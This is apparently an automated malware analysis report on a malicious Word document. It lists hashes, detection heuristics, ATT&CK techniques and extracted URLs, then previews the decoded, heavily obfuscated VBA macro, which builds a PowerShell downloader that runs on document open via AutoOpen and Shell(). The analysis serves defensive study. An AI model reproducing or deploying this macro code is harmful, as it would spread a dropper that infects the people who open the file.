Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5299627229240aa2…

MALICIOUS

Office (OLE)

143.5 KB Created: 2018-05-22 21:56:00 Authoring application: Microsoft Office Word First seen: 2018-06-30
MD5: 199ab17cc8175f0a19801c6386811fc0 SHA-1: 22ac6889bd1fc4624a467f72515729487f05d336 SHA-256: 5299627229240aa25b2cb9fccfce7440ac5481d3e8c05239e8485ee172dee86e
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'OLE_VBA_SHELL' and 'OLE_VBA_AUTOOPEN' heuristics indicate that the macros are designed to execute automatically and use the Shell() function. The script itself is heavily obfuscated but appears to construct strings that likely form URLs for downloading additional content. The presence of embedded, unknown reputation URLs further supports this. The ClamAV detection 'Doc.Dropper.Agent-6554055-0' confirms its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6553072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6553072-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://nataliawJE5xIF41lu2 In document text (OLE body)
    • http://oX9R1J1lxIIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 160977 bytes
SHA-256: 72ab4e0b5d47d4909ebad007a3a586b7cd7c706e9d49775a68e4c7648e13e086
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rBjiSXTfLi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function EpuGW()

On Error Resume Next
oPsXd = (mKjHoFiSb - CDbl(534321) + VDtFLhdZGo + Fix(TGOtMz / CLng(794616 * Sqr(jnNnzG))) - 331267 / Sin(IwYGZUAUL - soCvGmS - 366314 + CLng(pVSESOc)) * 572431 * Fix(534321))
CwNvpQ = "XMqtWTpowerUl  &( $L7sedNIqav9k2Wshelp0ytTv2NjT1"
JaVDBvPL = Left(Right(CwNvpQ, 41), 4) + CStr(Left(Right(CwNvpQ, 15), 1)) + Left(Right(CwNvpQ, 14), 3) + Left(Right(CwNvpQ, 36), 7) + Left(Right(CwNvpQ, 26), 1)

cTsubYrA = "XMqtWTpNV:CUEc[4,26L7s,dNIqav9k2WomSpp0ytTv2NjT1"
uXKfZXE = Left(Right(cTsubYrA, 41), 4) + CStr(Left(Right(cTsubYrA, 15), 1)) + Left(Right(cTsubYrA, 14), 3) + Left(Right(cTsubYrA, 36), 7) + Left(Right(cTsubYrA, 26), 1)

zZnAi = "tWTp0h7zUk0aH25]-joidNIq' ((1ltSBUnsatTv2NdT1LyIJKqLfhCVDcF5YNwN'')( ((SexcGea1FwqRiglZ5UKmLe"
nijQjPrwm = Left(Right(zZnAi, 80), 7) + Left(Right(zZnAi, 30), 2) + CStr(Left(Right(zZnAi, 28), 6)) + Left(Right(zZnAi, 69), 13) + CStr(Left(Right(zZnAi, 51), 1)) + CStr(Left(Right(zZnAi, 16), 2))

YzSGtihTP = "YzlgtB"
rJbtb = CStr(Left(Right(YzSGtihTP, 4), 1)) + CStr(Left(Right(YzSGtihTP, 2), 1))
oCIZKdE = (uXCpBw - CDbl(481088) + itwMrZloHzw + Fix(MzdjTjX / CLng(859261 * Sqr(NsGOPlzzYH))) - 813304 / Sin(PjqIiMiBwDO - cLOrP - 273970 + CLng(qjFdIhl)) * 873282 * Fix(481088))
PiwwPGGhr = Chr(43)
vHnCbFLpk = "VgfBpdJfjF21le1CobNytsd = 1lhQ0t8"
nvsXYrKzBb = CStr(Left(Right(vHnCbFLpk, 22), 2)) + CStr(Left(Right(vHnCbFLpk, 13), 8)) + CStr(Left(Right(vHnCbFLpk, 2), 1))

bjQMVOiiQjW = Chr(43)
wuYwC = "VgfBpdJfjF1lCe1Cobt&(0A1lVODtQ"
zpaIcXYfpFA = Left(Right(wuYwC, 20), 2) + CStr(Left(Right(wuYwC, 12), 7)) + Left(Right(wuYwC, 2), 1)

OuTCELEX = Chr(43)
YBRwPQRrRi = "VgfBpdJ1jF2nlt11lbNtA"
rnBfltrYz = CStr(Left(Right(YBRwPQRrRi, 14), 1)) + CStr(Left(Right(YBRwPQRrRi, 9), 5)) + Left(Right(YBRwPQRrRi, 2), 1)
dEcwVFBYc = (djHqivKTAm - CDbl(913374) + Vciui + Fix(SVpnSwrVWc / CLng(901893 * Sqr(ZpfaFrw))) - 641928 / Sin(nOrkfiaIdIb - EnSjDmDKkQU - 976941 + CLng(SstKGd)) * 665410 * Fix(913374))
vSqOs = Chr(43)
aLjMEc = "VgfBpdJ1jF2nltn0AbN1A"
tUZKu = CStr(Left(Right(aLjMEc, 14), 1)) + CStr(Left(Right(aLjMEc, 9), 5)) + Left(Right(aLjMEc, 2), 1)

XRUGjXdCh = Chr(43)
zhopioYAXiz = "n'Y"
PEiRSTroqsw = CStr(Left(Right(zhopioYAXiz, 2), 1))

RzHsipS = Chr(43)
hrqMzr = "VgfBpdJfj'0nCe1CA1e01lXEAtO"
NzioqsD = Left(Right(hrqMzr, 18), 2) + CStr(Left(Right(hrqMzr, 11), 6)) + Left(Right(hrqMzr, 2), 1)

WfwVTzDlfbi = Chr(43)
ZPwRLtdB = (vWMDHsq - CDbl(380609) + dcCosjwf + Fix(KlFMmKlAIK / CLng(42776 * Sqr(SIIJAiYci))) - 738878 / Sin(jqXHnwrmjj - mYjrv - 37256 + CLng(JMbCzi)) * 991361 * Fix(380609))
jodEZRoSi = "VgfBpd1fjFltA11C'b"
FrVsocMo = Left(Right(jodEZRoSi, 12), 1) + CStr(Left(Right(jodEZRoSi, 8), 4)) + Left(Right(jodEZRoSi, 2), 1)

oqzvWwjkX = Chr(43)
iXorMcT = "n'Y"
rNMBc = CStr(Left(Right(iXorMcT, 2), 1))

wfWuIChE = Chr(43)
RUjkEzsUpz = "VgfBpdJ0jF2nA1w1lbNtA"
RYGjoM = CStr(Left(Right(RUjkEzsUpz, 14), 1)) + CStr(Left(Right(RUjkEzsUpz, 9), 5)) + Left(Right(RUjkEzsUpz, 2), 1)

TZBCd = Chr(43)
wLOtLkFXk = "VgfBpdJfjF2nCe11lbNyAxXEAt-objec0A1zNrT1lQ"
SciKHhkM = Left(Right(wLOtLkFXk, 27), 2) + CStr(Left(Right(wLOtLkFXk, 17), 10)) + CStr(Left(Right(wLOtLkFXk, 3), 2))
umzawZMuLw = (AUzYjOOwPPZ - CDbl(344845) + PtimOCIFYqw + Fix(GqRVRkv / CLng(828354 * Sqr(brIakfqLq))) - 952611 / Sin(bXUnkhNnwr - tWJWh - 799385 + CLng(twsfiUr)) * 883120 * Fix(344845))
OizqtAikdQ = "Yztg'B"
DdjiAFXHzt = CStr(Left(Right(OizqtAikdQ, 4), 1)) + CStr(Left(Right(OizqtAikdQ, 2), 1))

amBWQidvj = Chr(43)
PEsAcYU = "n'Y"
aqtbHHuKuFi = CStr(Left(Right(PEsAcYU, 2), 1))

kOQJuiD = Chr(43)
LimLawBsO = "YzV1fltdJ"
krqjI = CStr(Left(Right(LimLawBsO, 6), 1)) + CStr(Left(Right(LimLawBsO, 4), 2))

ijpAcf = Chr(43)
jiVFH = "VgfBpdJf0A2nCe11t01lAxtE"
tcnqCswdz = Left(Right(jiVFH, 16),
... (truncated)